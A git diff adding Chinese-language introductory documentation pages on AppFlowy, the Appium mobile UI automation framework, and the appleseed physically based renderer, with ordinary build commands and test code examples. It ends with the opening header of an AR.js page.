`frontend/rust-lib/Cargo.toml` 用 workspace 统一管理版本,核心协作 crate 依赖 `collab` 系列(封装 Yrs): + +```toml +[workspace] +members = [ + "lib-dispatch", + "lib-log", + "flowy-core", + "dart-ffi", + "flowy-user", + "flowy-folder", + "flowy-document", + "flowy-database2", + "flowy-search", + "flowy-storage", + "flowy-ai", +] + +[workspace.dependencies] +tokio = { version = "1.38", features = ["full"] } +serde = { version = "1.0" } +collab = { version = "0.2" } +collab-document = { version = "0.2" } +``` + +单独测 Rust 后端时(文档建议): + +```bash +cd frontend/rust-lib +cargo test --no-default-features +cargo fmt # 遵循 rustfmt.toml,max_width = 100 +``` + +--- + +## 代码示例 4:Flutter 侧调用链(概念) + +官方设计博文描述的 11 步流程,压缩成开发者日常心智模型: + +```dart +// 1. Widget 触发 +context.read().add(OpenFolderEvent(folderId)); + +// 2. Bloc 经 Repository 调 FlowySDK(内部 Protobuf + FFI) +final workspace = await folderRepository.openFolder(folderId); + +// 3. emit 新状态 → UI rebuild +emit(state.copyWith(currentFolder: workspace)); +``` + +`folderRepository` 底层会把 Dart 对象序列化,调用 Native 侧的 `async_event`。**不要**在 Widget 里直接调 FFI——DDD 分层就是为了把 FFI 锁在 Infrastructure。 + +--- + +## 从零构建:macOS / Linux 通用步骤 + +环境要求(以官方文档为准):**Flutter 3.27.x**、**Rust stable**、`cargo-make`、`LLVM`、各平台 C++ 构建链。 + +```bash +# 克隆 +git clone https://github.com/AppFlowy-IO/AppFlowy.git +cd AppFlowy/frontend + +# 安装构建工具 +cargo install cargo-make + +# Linux 可跑一键依赖脚本(macOS 见文档 install_macos.sh) +# ./scripts/install_dev_env/install_linux.sh + +# 拉取 Flutter 依赖 +cd appflowy_flutter && flutter pub get && cd .. + +# 开发版构建(Linux x86_64 示例) +cargo make --profile development-linux-x86_64 appflowy-dev + +# 发行版 +cargo make --profile production-linux-x86_64 appflowy +``` + +产物路径形如:`frontend/appflowy_flutter/product//linux/Debug/AppFlowy/`。 +**所有 `cargo make` 命令必须在 `frontend/` 目录执行**,不要站在仓库根目录盲敲。 + +macOS Apple Silicon 常用 profile:`development-macos-arm64` / `production-macos-arm64`(以 `Makefile.toml` 为准)。 + +--- + +## 与 Notion / 其他开源笔记的对比 + +| 维度 | Notion | AppFlowy | 典型 Markdown 笔记 | +|------|--------|----------|-------------------| +| 开源 | 否 | AGPL-3.0 | 多为 MIT/Apache | +| 本地优先 | 弱 | 强(SQLite) | 强 | +| 块编辑 + 数据库 | 有 | 有(Rust 实现) | 通常无或插件 | +| 技术栈 | 闭源 | Flutter + Rust | Electron / Web | +| 自托管 | 无官方 | AppFlowy Cloud 可自建 | 视项目而定 | +| 协同 | 云端实时 | CRDT + 可选云 | 多为 Git 同步 | + +若你关心 **数据在本地、逻辑可审计、UI 可换皮**,AppFlowy 是值得深挖的「Notion 形、开源魂」样本;若只要纯 Markdown + Git,[[trilium]]、Obsidian 可能更轻。 + +--- + +## 学习路线建议(零基础 → 能读 PR) + +### 第 1 周:用户视角 + +1. 安装 [官方发布版](https://github.com/AppFlowy-IO/AppFlowy/releases) 或 `brew install --cask appflowy`(macOS)。 +2. 创建 Workspace,体验 Document、Database(Grid/Board)、搜索、导入导出。 +3. 断网编辑再联网,观察同步行为——建立「本地优先」直觉。 + +### 第 2 周:架构视角 + +1. 读 [Architecture Overview](https://appflowy-io-appflowy.mintlify.app/developer/architecture) 与 [Rust Backend](https://appflowy-io-appflowy.mintlify.app/developer/rust-backend)。 +2. 读博客 [How we built AppFlowy with Flutter and Rust](https://appflowy.com/blog/tech-design-flutter-rust)(DDD + Event-Dispatch)。 +3. 在仓库跟踪 **一条** 打开文件夹的 Event,从 Dart 到 Rust 画时序图。 + +### 第 3 周:动手构建 + +1. 按上文命令本地 `appflowy-dev` 跑起来。 +2. 改一处 Flutter 文案或图标,确认热重载/重编译流程。 +3. 在 `flowy-search` 或 `flowy-document` 里读单元测试,理解模块边界。 + +### 第 4 周:进阶主题(按需) + +- **协同**:`collab-document`、`Yrs` update 二进制格式。 +- **搜索**:Tantivy 索引何时重建。 +- **AI**:`flowy-ai` 如何接 OpenAI / 本地模型。 +- **插件化**:社区 Marketplace 与动态加载的限制(官方有专文讨论 Flutter 动态加载的坑)。 + +--- + +## 常见问题 + +### Q1:为什么用 Rust 而不是全部 Dart? + +基础设施层要处理 SQLite、CRDT、搜索索引、文件 IO 和长时间运行的同步任务;Rust 在 **性能、内存安全、跨平台静态库** 上更合适,且可把同一套逻辑给未来非 Flutter 壳复用(官方架构文提到的「换 UI 不换数据组件」策略)。 + +### Q2:Protobuf + FFI 会不会很慢? + +团队承认序列化有成本;大图、大文档场景需要避免把整个文档反复穿过 FFI。学习时留意 **哪些数据走 Protobuf、哪些走文件路径或共享内存**——这是性能优化的关键战场。 + +### Q3:和 AFFiNE、Logseq 等开源 Notion-like 有何不同? + +AppFlowy 的鲜明特征是 **Flutter UI + Rust 厚后端 + Event-Dispatch + 本地 SQLite + CRDT 协同** 的组合;AFFiNE 等另有各自栈(如 Yjs、BlockSuite)。选型时比「功能清单」更重要的是 **数据模型与自托管路径** 是否匹配你的团队。 + +### Q4:我只想用,不想编译? + +直接用官方客户端 + 可选自托管 [AppFlowy Cloud](https://appflowy.com); AGPL 不影响单纯使用官方二进制。 + +--- + +## 小结 + +AppFlowy 把「Notion 式工作空间」拆成两层可替换能力:**Flutter 负责体验一致的壳**,**Rust 负责数据、协同与搜索的核**;中间用 **Event-Dispatch + Protobuf + FFI** 粘合。零基础读者应先建立 **Local-first → CRDT → 模块化 crate** 三张心智地图,再跟一条事件链路读代码,最后本地 `cargo make` 构建一次——比一上来啃全部 `flowy-*` 更高效。 + +--- + +## 参考链接 + +- 仓库:[AppFlowy-IO/AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) +- 开发者文档:[Architecture](https://appflowy-io-appflowy.mintlify.app/developer/architecture) · [Rust Backend](https://appflowy-io-appflowy.mintlify.app/developer/rust-backend) · [Setup](https://appflowy-io-appflowy.mintlify.app/developer/setup) +- 设计博文:[How we built AppFlowy with Flutter and Rust](https://appflowy.com/blog/tech-design-flutter-rust) +- 从源码构建:[Building on Linux](https://docs.appflowy.io/docs/documentation/appflowy/from-source/environment-setup/building-on-linux) diff --git a/src/content/docs/projects/appium.md b/src/content/docs/projects/appium.md new file mode 100644 index 000000000..000eeecfd --- /dev/null +++ b/src/content/docs/projects/appium.md @@ -0,0 +1,311 @@ +--- +title: Appium — 跨平台移动 UI 自动化 +来源: https://github.com/appium/appium +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +provenance: pipeline-v3 +--- + +## 是什么 + +Appium 是开源的 **跨平台移动应用 UI 自动化框架**。你用 Java / Python / JavaScript 等任意语言写测试脚本,通过 **WebDriver 协议** 向 Appium Server 发 HTTP 请求,Server 再调用各平台原生驱动(iOS 的 XCUITest、Android 的 UiAutomator2 等),在真机或模拟器上模拟点击、输入、滑动——**同一套 API 覆盖 iOS、Android,甚至部分桌面与 TV 平台**。 + +日常类比:想象你雇了一位 **远程机器人操作员**。你坐在办公室(测试脚本 / Client),用标准对讲机口令(WebDriver)发指令;操作员在机房(Appium Server)收到后,根据手机型号换不同「机械手」(Driver),去真机上执行。你不需要学 iOS 的 XCTest 语法,也不必学 Android 的 Espresso——**口令表是统一的**,换设备只改几行「能力配置」(Capabilities)。 + +官方仓库:https://github.com/appium/appium(Apache-2.0,约 19k stars)。自 Appium 2 起,核心 Server 与平台 Driver **插件化分离**;Appium 3(2025 年后)进一步拥抱 **纯 W3C WebDriver**,移除过时的 JSON Wire Protocol 与部分废弃端点。 + +最小能力声明 + 会话创建(Python 示意): + +```python +from appium import webdriver +from appium.options.android import UiAutomator2Options + +options = UiAutomator2Options() +options.platform_name = "Android" +options.device_name = "emulator-5554" +options.app = "/path/to/app-debug.apk" + +driver = webdriver.Remote("http://127.0.0.1:4723", options=options) +driver.find_element(by="accessibility id", value="login_button").click() +driver.quit() +``` + +Client 只连 `4723` 端口;真正与手机对话的是 Server 里加载的 **UiAutomator2 Driver**。 + +## 为什么重要 + +移动端测试处在金字塔顶端:慢、环境杂、维护成本高。不理解 Appium,以下问题很难系统性回答: + +- **「一套脚本能不能同时测 iOS 和 Android?」**——可以,前提是控件用稳定的 `accessibility id` / `testID`,而不是依赖易变的 XPath +- **「和 Detox / Maestro / Espresso 怎么选?」**——Detox 专精 React Native 灰盒同步;Maestro 用 YAML、上手极快;Espresso/XCUITest 是原生灰盒但语言绑定;**Appium 的卖点是跨平台 + 多语言 + 不改 App 二进制**(黑盒/灰盒均可) +- **「CI 里谁负责起 Server、谁连真机?」**——Appium 是 **Client–Server 架构**,Server 可与脚本分离部署(本机、Mac mini 农场、云测平台),适合大规模设备池 +- **「为什么 capabilities 里要写 `appium:` 前缀?」**——W3C 标准要求厂商扩展能力带命名空间,避免与标准字段冲突(Appium 3 更严格) + +若团队要维护 **原生 + 混合 + 移动端 Web** 的组合矩阵,或需要 Java/Python 与现有 Selenium 基建复用,Appium 仍是 2026 年行业默认选项之一。 + +## 核心概念 + +Appium 的心智模型可压成六层: + +### 1. Client–Server 与 WebDriver 协议 + +- **Client**:你写的测试代码 + 语言绑定库(`appium-python-client`、`webdriverio` 等) +- **Server**:Node.js 进程,默认监听 `http://127.0.0.1:4723` +- **协议**:W3C WebDriver——每个操作都是带 JSON body 的 HTTP 请求(`POST /session/{id}/element`、`POST /session/{id}/element/{id}/click` 等) + +好处:Client 与 Server **不必在同一台机器**。云测厂商托管 Server + 设备,你本地只跑脚本。 + +### 2. Session 与 Capabilities + +自动化的一切从 **`POST /session`** 开始。请求体里的 **Capabilities** 告诉 Server: + +| 典型字段 | 含义 | +|----------|------| +| `platformName` | `iOS` / `Android` | +| `appium:automationName` | `UiAutomator2`、`XCUITest`、`Espresso`… | +| `appium:deviceName` / `appium:udid` | 模拟器名或真机 UDID | +| `appium:app` | 待测 APK/IPA 路径,或 `appium:bundleId` | +| `appium:noReset` | `true` 时不在会话结束后清数据 | + +Server 根据 Capabilities **挑选并加载一个 Driver**,创建 Session ID;后续命令都挂在该 Session 上。 + +### 3. Driver(可插拔驱动) + +Driver 是独立 npm 包,通过 CLI 安装: + +```bash +appium driver install uiautomator2 +appium driver install xcuitest +appium driver list --installed +``` + +各 Driver 把 WebDriver 命令 **翻译** 为平台原生 API: + +- **XCUITest Driver** → Apple XCUITest + 设备上的 WebDriverAgent (WDA) +- **UiAutomator2 Driver** → Google UiAutomator2 + ADB +- **Espresso Driver** → Android Espresso(更快但需特定构建配置) + +Appium 核心 **不实现** 点击逻辑,只做路由与插件管理——这是 Appium 2 最重要的架构变化。 + +### 4. 元素定位策略 + +与 Selenium 类似,常用定位器: + +| 策略 | 适用场景 | +|------|----------| +| `accessibility id` | 对应 iOS `accessibilityIdentifier` / Android `content-desc`,**首选** | +| `id` | Android `resource-id` | +| `-ios predicate string` | iOS 谓词,表达力强 | +| `-android uiautomator` | UiSelector 链式查找 | +| `xpath` | 万能但慢、脆,仅作兜底 | + +原则:**给开发提需求加 `testID` / `contentDescription`**,比写长 XPath 更能降低维护成本。 + +### 5. 上下文切换(Native / WebView / 混合应用) + +混合应用内嵌 H5 时,存在多个 **Context**(`NATIVE_APP`、`WEBVIEW_com.example`)。需: + +```python +driver.contexts # 列出可用上下文 +driver.switch_to.context("WEBVIEW_com.example.app") +# 之后可用 Web 定位器操作 DOM +driver.switch_to.context("NATIVE_APP") +``` + +不懂上下文切换,会出现「元素明明在屏幕上却找不到」的经典问题。 + +### 6. 插件(Plugins) + +除 Driver 外,Appium 2+ 支持 **Plugin** 扩展 Server 行为(图像匹配、日志增强等): + +```bash +appium plugin install images +appium server --use-plugins=images +``` + +与 Driver 正交:Plugin 修改 Server 管线,Driver 仍负责平台自动化。 + +## 环境准备 + +**通用前置:** + +- Node.js 20+(Appium 3 要求 Node 20/22/24) +- JDK(Android)、Xcode(iOS,仅 macOS) +- Android SDK + 环境变量 `ANDROID_HOME` +- 设备:已开启 USB 调试的真机,或官方模拟器 + +**安装 Server 与 Driver:** + +```bash +npm install -g appium +appium driver install uiautomator2 # Android +# macOS 上额外: +appium driver install xcuitest # iOS + +appium server -a 127.0.0.1 -p 4723 +``` + +另开终端确认:`appium driver doctor uiautomator2` 可诊断依赖缺失。 + +**Client 示例(按语言择一):** + +```bash +pip install Appium-Python-Client # Python +npm install webdriverio # JavaScript +``` + +## 实践案例 + +### 案例 1:Android 登录流(Python + pytest) + +```python +import pytest +from appium import webdriver +from appium.options.android import UiAutomator2Options +from appium.webdriver.common.appiumby import AppiumBy +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.support import expected_conditions as EC + +@pytest.fixture +def driver(): + opts = UiAutomator2Options() + opts.platform_name = "Android" + opts.device_name = "emulator-5554" + opts.app = "/build/app-debug.apk" + opts.set_capability("appium:noReset", True) + + drv = webdriver.Remote("http://127.0.0.1:4723", options=opts) + yield drv + drv.quit() + +def test_login_success(driver): + wait = WebDriverWait(driver, 15) + email = wait.until( + EC.presence_of_element_located((AppiumBy.ACCESSIBILITY_ID, "email_input")) + ) + email.send_keys("user@example.com") + driver.find_element(AppiumBy.ACCESSIBILITY_ID, "password_input").send_keys("secret") + driver.find_element(AppiumBy.ACCESSIBILITY_ID, "login_button").click() + + welcome = wait.until( + EC.presence_of_element_located((AppiumBy.ACCESSIBILITY_ID, "welcome_title")) + ) + assert "Welcome" in welcome.text +``` + +**要点:** + +- `WebDriverWait` + `expected_conditions` 来自 Selenium,与 Appium 无缝复用 +- `appium:noReset` 避免每次用例重装 App,加快套件速度 +- 定位用 `ACCESSIBILITY_ID`,对应开发在 RN / Flutter / 原生里设的 `testID` + +### 案例 2:iOS 滑动列表 + W3C Actions(JavaScript / WebdriverIO) + +Appium 3 推荐用 **W3C Actions API** 做复杂手势,而非已废弃的 TouchAction: + +```javascript +// wdio.conf.js 中 capabilities 片段 +export const capabilities = [{ + platformName: 'iOS', + 'appium:automationName': 'XCUITest', + 'appium:deviceName': 'iPhone 16', + 'appium:bundleId': 'com.example.shop', + 'appium:noReset': true, +}]; + +// e2e/scroll.spec.js +describe('商品列表', () => { + it('应能向下滚动并看到加载更多', async () => { + const list = await $('~product_list'); // accessibility id + await list.waitForDisplayed({ timeout: 10000 }); + + // W3C Actions:模拟手指向上滑(内容向下滚) + await driver.performActions([{ + type: 'pointer', + id: 'finger1', + parameters: { pointerType: 'touch' }, + actions: [ + { type: 'pointerMove', duration: 0, origin: list, x: 0, y: 200 }, + { type: 'pointerDown', button: 0 }, + { type: 'pause', duration: 100 }, + { type: 'pointerMove', duration: 600, origin: list, x: 0, y: -400 }, + { type: 'pointerUp', button: 0 }, + ], + }]); + await driver.releaseActions(); + + await expect($('~load_more_footer')).toBeDisplayed(); + }); +}); +``` + +**要点:** + +- WebdriverIO 的 `$('~id')` 是 `accessibility id` 简写 +- `performActions` 是跨平台手势标准;旧版 `touchAction` / `multiTouch` 在 Appium 3 已移除 +- iOS 真机需配置签名与 WDA;模拟器相对省心 + +### 案例 3:用 `mobile:` 执行脚本安装/清数据 + +部分 App 管理命令在 Appium 3 迁至 **mobile: execute** 风格: + +```python +driver.execute_script("mobile: clearApp", {"bundleId": "com.example.shop"}) +driver.execute_script("mobile: installApp", {"appPath": "/tmp/shop-new.apk"}) +driver.activate_app("com.example.shop") +``` + +适合 CI 里 **不重启 Server 的情况下换包**。 + +## 与 Selenium / Playwright 的关系 + +| 维度 | Selenium | Playwright | Appium | +|------|----------|------------|--------| +| 主要目标 | 桌面浏览器 | 现代 Web 浏览器 | 移动原生 / 混合 / 部分桌面 | +| 协议 | WebDriver | 自有 CDP 协议 | WebDriver(+ 扩展) | +| 是否改 App | 不适用 | 不适用 | **默认不改**(黑盒) | +| 典型 Client API | 与 Appium 高度相似 | 独立 API | 与 Selenium 高度相似 | + +已有 Selenium 经验的团队,学 Appium 主要是补 **Capabilities、Driver 安装、真机调试** 三块,而非从零学一套定位语法。 + +## 常见坑与排错 + +1. **SessionNotCreatedException**:Capabilities 拼写错误、Driver 未安装、SDK 版本不匹配——先跑 `appium driver doctor ` +2. **元素找不到**:在 Native 上下文里找 WebView 节点(或反之);动画未结束——加显式等待 +3. **iOS WDA 超时**:真机需信任证书、更新 `xcodeOrgId` / `xcodeSigningId`;企业证书与 CI 签名要单独规划 +4. **Android `adb devices` 为空**:USB 调试、驱动、模拟器启动顺序;远程设备用 `adb connect` +5. **StaleElementReference**:列表滚动后节点失效——重新查找,不要缓存过久的 WebElement +6. **Appium 3 升级**:确认 Client 库版本(如 `webdriverio@9`、`appium-java-client@9`),Capabilities 加 `appium:` 前缀,移除 JSONWP 写法 + +调试利器: + +```bash +# 终端 1 +appium server --log-level debug + +# 终端 2:查看当前 UI 树 +adb shell uiautomator dump /sdcard/ui.xml && adb pull /sdcard/ui.xml +# iOS 可用 Appium Inspector 或 Xcode Accessibility Inspector +``` + +**Appium Inspector**(桌面 GUI)可可视化连接 Server、点选元素、导出定位器与 Capabilities,零基础入门强烈建议安装。 + +## 生态与延伸 + +- **Appium Inspector**:官方维护的元素检查器,降低「盲写定位器」成本 +- **云测集成**:BrowserStack、Sauce Labs、AWS Device Farm 等托管 Server + 真机,本地脚本只改 `hub` URL +- **与 CI**:GitHub Actions / Jenkins 常在 macOS runner 上跑 iOS;Android 可用 Linux + KVM 模拟器或自建设备农场 +- **对比 Detox**:纯 React Native 且能改 App 内测试钩子 → Detox 同步更稳;要测 **多技术栈或未埋钩子** → Appium 更通用 +- **对比 Maestro**:Maestro YAML 上手 30 分钟;Appium 学习曲线陡,但 **可编程性、生态、企业存量** 更大 + +## 小结 + +Appium 的本质不是「又一个测试框架」,而是 **把 W3C WebDriver 协议延伸到移动端的路由器 + 插件平台**: + +1. 你写 Client 脚本,通过 HTTP 驱动 Server +2. Server 按 Capabilities 加载 Driver,把标准命令译成 XCUITest / UiAutomator2 调用 +3. 用稳定的 **accessibility id** 定位,用 **显式等待** 抗 flake,用 **W3C Actions** 做手势 +4. Appium 2/3 的 Driver/Plugin CLI 让扩展与升级可模块化 + +从零开始的路径建议:**装 Server → 装一个 Driver → 用 Inspector 连模拟器 → 抄通登录用例 → 再接入 pytest/Jest CI**。一天能跑通第一条自动化,一周能覆盖核心回归——难点不在语法,而在 **环境、签名与定位策略的工程化**。 diff --git a/src/content/docs/projects/appleseed.md b/src/content/docs/projects/appleseed.md new file mode 100644 index 000000000..5ff4fd893 --- /dev/null +++ b/src/content/docs/projects/appleseed.md @@ -0,0 +1,253 @@ +--- +title: appleseed — 物理渲染器 +来源: https://github.com/appleseedhq/appleseed +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +--- + +## 是什么 + +**appleseed** 是一个开源、基于物理的全局光照(Global Illumination)渲染引擎,主要面向动画与视觉特效(VFX)制作。源码托管于 [appleseedhq/appleseed](https://github.com/appleseedhq/appleseed),采用 MIT 协议,由国际志愿者团队持续维护。官方定位是:为个人创作者和小型工作室提供一套**完整、可靠、完全开放**的离线渲染方案。 + +日常类比:如果把 [[blender]] 的 Cycles 或 Arnold 比作餐厅后厨里那口「能出成品的炒锅」,那 appleseed 更像是**专门做物理正确光照的独立后厨**——它不自带建模界面,但把「光线怎么在场景里弹跳、材质怎么散射、最终像素怎么收敛」这件事做到了生产级深度。你在 [[blender]](blenderseed 插件)、Autodesk Maya、3ds Max,或 Image Engine 的 [[gaffer]] 里摆好场景,真正算像素的是 appleseed 核心库;想脱离 DCC 单独跑,也可以用 **appleseed.studio**(图形界面)或 **appleseed.cli**(命令行)。 + +分发形态一览: + +| 形态 | 说明 | +| --- | --- | +| **C++ 库** | 可嵌入其他应用 | +| **Python / C++ API** | 脚本化建场景、批渲染、插件开发 | +| **appleseed.studio** | Qt 图形工具:建场景、交互预览、最终渲染、调试 | +| **appleseed.cli** | 无 GUI 批处理;支持 checkpoint 续渲等 Studio 未暴露的能力 | +| **DCC 插件** | Maya、3ds Max、Blender(blenderseed);Gaffer 默认渲染器 | + +最新官方预编译包以 **2.1.0-beta**(2019)为标签线,但 GitHub `master` 仍在活跃开发(含 Python 3 绑定、Embree 后端等)。学术引用可通过 [Zenodo DOI](https://doi.org/10.5281/zenodo.3456967) 标注版本。 + +## 为什么重要 + +零基础接触「物理渲染」,appleseed 值得单独学的原因: + +- **路径追踪工作流清晰**:现代单遍路径追踪(path tracing),默认追求无偏或可控有偏,噪点随采样增加而收敛,调参逻辑比老式光子映射直观 +- **光谱渲染少见**:同一场景可混用 RGB 与 31 波段光谱(400–700 nm),对色散、薄膜干涉等研究友好 +- **OSL 一等公民**:着色完全可编程(Sony Imageworks 的 Open Shading Language),与 Maya 节点、Substance Painter 工作流有对接 +- **架构透明**:Wiki 公开渲染管线六组件、BVH 热点、项目文件 XML 格式;MIT 源码适合读实现 +- **小团队友好**:无订阅费,插件 + CLI + Python 可拼出轻量渲染农场 + +和 [[blender]] 内置 Cycles、[[unreal-engine]] 的实时路径追踪不同,appleseed **专注离线成片质量**,不追求游戏帧率。 + +## 核心要点 + +### 1. 物理渲染在算什么? + +**全局光照**要回答:从光源发出的能量,经物体表面反射/折射/散射,有多少沿直线进入相机。appleseed 默认用**单向路径追踪**(unidirectional path tracing):从相机反向追踪光路,在表面按 BSDF 采样下一方向,直到命中光源或环境。多遍后像素噪点下降,颜色趋于稳定。 + +关键术语: + +| 术语 | 含义 | +| --- | --- | +| **BSDF** | 双向散射分布函数:表面如何把入射光反射/透射出去 | +| **BRDF** | BSDF 的反射部分(不透明物体) | +| **BTDF** | BSDF 的透射部分(玻璃等) | +| **EDF** | 发射分布函数:材质自发光 | +| **Surface Shader** | 决定「相机直接看到的表面」如何着色;物理模式用 Physical,走 BSDF/EDF | + +### 2. 场景数据模型:Project → Scene → Assembly + +appleseed 用 XML 项目文件(扩展名 `.appleseed`)描述一切。顶层结构: + +``` +project +├── scene # 场景内容 +├── rules # 可选:渲染层分配等规则 +├── output # 输出帧定义 +└── configurations # final / interactive 等渲染配置 +``` + +**Assembly(装配体)** 是场景的组织单元,可嵌套、可实例化、可延迟加载——适合大场景分块与内存管理。**Object** 是几何体;**Object Instance** 把物体摆进场景并指定材质槽。**材质** 由 BSDF + 可选 EDF + Surface Shader 组成。 + +坐标系:**右手系**,X 右、Y 上、Z 朝观察者(出屏)。单位不强制米/厘米,但全场景必须一致。 + +### 3. 渲染管线六组件 + +官方 Wiki 把渲染拆成可组合的六块(类似策略模式): + +``` +Frame Renderer → 整帧(final 多 tile / interactive 渐进) + ├── Tile Renderer → 单个 tile + │ └── Pixel Renderer → 单像素 + │ └── Sample Renderer → 单样本(一条路径) + ├── Sample Generator(仅 interactive:下一采样点) + └── Lighting Engine(路径追踪核心,如 pt) +``` + +理解这个分层有助于读源码:`ptlightingengine.cpp` 是路径追踪入口,`bvh_intersector.h` 是性能热点。 + +### 4. 两种渲染模式 + +| 模式 | 快捷键(Studio) | 用途 | +| --- | --- | --- | +| **Interactive** | F5 | 快速预览、导航、调材质;渐进降噪 | +| **Final** | F6 | 成片;按 tile 并行,可多 pass(如 8 pass × 8 samples) | + +Final 默认单 pass 64 samples/像素;可把 pass 数调高,更快看到「整图轮廓」,再决定是否加长渲染。 + +### 5. 生产向特性(节选) + +- **OSL** 着色、内置降噪(BCD)、OpenColorIO、Cryptomatte、AOV +- **运动模糊**:相机 / 变换 / 变形,任意关键帧数 +- **次表面散射**:多种 profile(Dipole、Random Walk 等),支持交互渲染 +- **体积**:单次/多次散射,Henyey-Greenstein 等相位函数 +- **Checkpoint**:中断后续渲;**层级实例化**;嵌套电介质 +- **可选 Intel Embree** 加速求交 + +### 6. 工具链与生态 + +- **appleseed.studio**:项目浏览器 + 属性编辑器 + 日志面板;内置 Cornell Box;F7 改 Render Settings +- **appleseed.cli**:`appleseed.cli scene.appleseed`;`--save-light-paths` 导出光路;checkpoint 续渲 +- **插件**:[appleseed-maya](https://github.com/appleseedhq/appleseed-maya)、[appleseed-max](https://github.com/appleseedhq/appleseed-max)、[blenderseed](https://github.com/appleseedhq/blenderseed) +- **Gaffer**:节点式场景装配,appleseed 为默认引擎 + +blenderseed 在 1.0 之后用 **Python 绑定在 Blender 进程内直接渲染**,不再导出 XML 再调 CLI,并支持视口交互预览。 + +## 代码示例 + +### 示例 1:Python API — 加载内置 Cornell Box 并渲染 + +appleseed 官方 Python 模块惯例写作 `import appleseed as asr`(见仓库 `src/appleseed.python/test/testbasis.py`)。`ProjectFileReader.load_builtin()` 与 `MasterRenderer` 是批处理脚本的核心入口: + +```python +import appleseed as asr + +# 加载内置 Cornell Box(与 Studio 菜单 File → Open Built-in Project 同源) +reader = asr.ProjectFileReader() +project = reader.load_builtin("cornell box") + +# 取 final 配置的继承参数,构造主渲染器 +configs = project.configurations() +params = configs["final"].get_inherited_parameters() +search_paths = project.get_search_paths() + +renderer = asr.MasterRenderer(project, params, search_paths) +controller = asr.DefaultRendererController() + +if renderer.render(controller): + print("渲染成功") + # 像素在 project.get_frame() 关联的 display 中 +else: + print("渲染失败或被中止") +``` + +要点:`MasterRenderer` 构造时需要持有 `project` 引用以防被 GC;`render()` 期间会释放 GIL,适合多线程 C++ 侧重计算。 + +### 示例 2:从 `.appleseed` 文件命令行成片 + +不写代码时,`appleseed.cli` 是最短路径(安装包 `bin/` 目录): + +```bash +# 最终渲染(使用项目里名为 final 的 configuration) +./appleseed.cli /path/to/scene.appleseed + +# 指定输出目录、保存光路用于调试 +./appleseed.cli --output /tmp/renders scene.appleseed --save-light-paths /tmp/paths.aspaths + +# 从 checkpoint 恢复(CLI 独有工作流之一) +./appleseed.cli --resume scene.appleseed +``` + +项目文件里 `configurations` 块定义 `final` / `interactive`;`output` 块定义分辨率、像素格式(half/float)、重建滤波器(gaussian、mitchell 等)。 + +### 示例 3:极简 `.appleseed` 片段 — 颜色与相机 + +项目格式基于 XML,便于 diff/版本管理。下面展示**颜色实体**与**相机 look_at**(摘自官方 Project File Format Wiki): + +```xml + + + + + + 1.0 0.0 0.0 + 1.0 + + + + + + + + + + + + + + + + + + + + + + +``` + +颜色需先定义再被 BSDF 引用;标识符区分大小写。`base_final` 内置 `lighting_engine = pt`(路径追踪)。 + +### 示例 4:Studio 内嵌 Python — 批量转纹理为 .tx + +appleseed.studio 内嵌 Python 控制台,可写插件(`register()` 注册菜单)。典型用途:把 PNG/JPEG 转为 OpenImageIO 的 `.tx` 瓦片纹理以加速渲染——GSoC 报告中的官方示例插件即演示 `appleseed` + `studio` 双模块协作。 + +```python +# 在 appleseed.studio 的 Python 控制台中(伪代码结构) +import appleseed as asr +# import appleseed.studio as ass # Studio 专用 API + +# 遍历 project 内纹理,调用 textureconverter 逻辑,写回 .tx 并更新路径 +# 具体 API 随版本见 src/appleseed.python/textureconverter.py +``` + +## 零基础上手路径 + +1. **下载**:从 [appleseedhq.net/download](https://appleseedhq.net/download.html) 解压 zip(Windows/Linux/macOS 64 位) +2. **Studio 第一眼**:`bin/appleseed.studio` → 打开内置 Cornell Box → F5 交互渲染 → 拖拽旋转视角(Ctrl + 鼠标键) +3. **成片**:F7 把 Final 的 pass/samples 调小做快速测试 → F6 最终渲染 +4. **CLI**:对同一 `.appleseed` 跑 `appleseed.cli`,便于 CI 与农场 +5. **DCC**:若已用 Blender/Maya,装对应插件,在熟悉软件里切 appleseed 引擎 +6. **读代码**:从 Wiki [Browsing appleseed Source Code](https://github.com/appleseedhq/appleseed/wiki/Browsing-appleseed-Source-Code) 的 `pathtracer.h`、`lambertianbrdf.cpp` 入手 + +## 与相近项目的关系 + +| 项目 | 对比 | +| --- | --- | +| [[blender]] Cycles | 集成在 DCC 内;appleseed 独立、可嵌入 Gaffer | +| Arnold / V-Ray | 商业闭源;appleseed MIT 可读可改 | +| [[opencv]] | 图像处理库,不做物理光传输 | +| [[assimp]] | 只处理网格导入,不负责着色与积分 | + +## 源码结构速查 + +| 路径 | 内容 | +| --- | --- | +| `src/appleseed/foundation/` | 数学、BVH、工具,与渲染无关的底座 | +| `src/appleseed/renderer/` | 全部渲染逻辑 | +| `src/appleseed.python/` | Python 绑定(`MasterRenderer`、`Project` 等) | +| `src/appleseed.studio/` | Qt GUI | +| `src/appleseed.cli/` | 命令行入口 | + +## 学习资源 + +- 官网:[appleseedhq.net](https://appleseedhq.net/) +- 特性列表:[Features](https://appleseedhq.net/features.html) +- 入门教程:[Getting Started](https://appleseedhq.net/docs/tutorials/gettingstarted.html)(Studio F5/F6/F7) +- Wiki:[Project File Format](https://github.com/appleseedhq/appleseed/wiki/Project-File-Format)、[Renderer Components](https://github.com/appleseedhq/appleseed/wiki/Renderer-Components) +- 社区:[Discord](https://discord.gg/dNCE5J8)、[论坛](https://forum.appleseedhq.net/) +- 构建:[Building appleseed](https://github.com/appleseedhq/appleseed/wiki/Building-appleseed)(CMake、可选 `WITH_PYTHON3_BINDINGS`、`WITH_EMBREE`) + +## 小结 + +appleseed 把「物理正确的光传输」从商业渲染器里拆成**可读、可脚本、可嵌入**的开源核心。零基础不必先啃 C++:用 **Studio 看 Cornell Box 收敛**,用 **CLI 批处理**,再用 **Python `asr.MasterRenderer`** 自动化,就能建立对全局光照与项目数据模型的直觉;要抠实现,再顺着路径追踪与 BSDF 读 `renderer/kernel`。 diff --git a/src/content/docs/projects/ar-js.md b/src/content/docs/projects/ar-js.md new file mode 100644 index 000000000..ecb036128 --- /dev/null +++ b/src/content/docs/projects/ar-js.md @@ -0,0 +1,293 @@ +--- +title: AR.js — Web AR 标记追踪 +来源: https://github.com/AR-js-org/AR.js +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + 